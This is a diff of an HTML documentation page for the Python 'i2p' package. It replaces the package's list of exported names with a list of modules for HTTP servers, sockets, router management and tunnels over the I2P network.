@ -4,9 +4,7 @@
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta name="robots" content="index,follow">
<link rel="shortcut icon" href="/favicon.ico">
<script type="text/javascript" src="/~barnesc/wiki/stylesheets/wikibits.js"></script>
<style type='text/css'><!--
@import url("/~barnesc/wiki/stylesheets/wikiprintable.css");
/*/*/
a.new, #quickbar a.new { color: #CC2200; }
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
@ -24,19 +22,23 @@ Package <code >i2p</code > is a container package for more specific modules.
<p>
It exports the following names:
It contains the following modules:
<p>
<ul >
<pre> <a href="./i2p.sam.html" class='printable' title ="User's Guide:i2p.sam">sam</a>
<a href="./i2p.eep.html" class='printable' title ="User's Guide:i2p.eep">eep</a>
<a href="./i2p.router.html" class='printable' title ="User's Guide:i2p.router">router</a>
<a href="#Error" class='printable' title ="User's Guide:i2p">Error</a>
<a href="#RouterError" class='printable' title ="User's Guide:i2p">RouterError</a>
<pre> <a href="i2p.BaseHTTPServer.html" class='printable' title ="User's Guide:i2p.BaseHTTPServer">i2p.BaseHTTPServer</a> (Emulate Python BaseHTTPServer module)
<a href="i2p.CGIHTTPServer.html" class='printable' title ="User's Guide:i2p.CGIHTTPServer">i2p.CGIHTTPServer</a> (Emulate Python CGIHTTPServer module)
<a href="i2p.eep.html" class='printable' title ="User's Guide:i2p.eep">i2p.eep</a> (Retrieve eepsites)
<a href="i2p.router.html" class='printable' title ="User's Guide:i2p.router">i2p.router</a> (Manage the I2P router)
<a href="i2p.select.html" class='printable' title ="User's Guide:i2p.select">i2p.select</a> (Emulate Python select module)
<a href="i2p.SimpleHTTPServer.html" class='printable' title ="User's Guide:i2p.SimpleHTTPServer">i2p.SimpleHTTPServer</a> (Emulate Python SimpleHTTPServer module)
<a href="i2p.socket.html" class='printable' title ="User's Guide:i2p.socket">i2p.socket</a> (Send and receive across the I2P network)
<a href="i2p.SocketServer.html" class='printable' title ="User's Guide:i2p.SocketServer">i2p.SocketServer</a> (Emulate Python SocketServer module)
<a href="i2p.tunnel.html" class='printable' title ="User's Guide:i2p.tunnel">i2p.tunnel</a> (Exchange data between I2P and regular sockets)
</pre>
</ul >
<p>
class <strong>Error</strong>(Exception):
<ul >
@ -46,7 +48,6 @@ class <strong>Error</strong>(Exception):
<p>
class <strong>RouterError</strong>(Error):
<ul >
<pre> Could not connect to router.
@ -55,7 +56,4 @@ class <strong>RouterError</strong>(Error):
<p>
</div>
<p><em>
</em><!-- Time since request: 0.85 secs. -->
</body></html>

Some files were not shown because too many files have changed in this diff Show More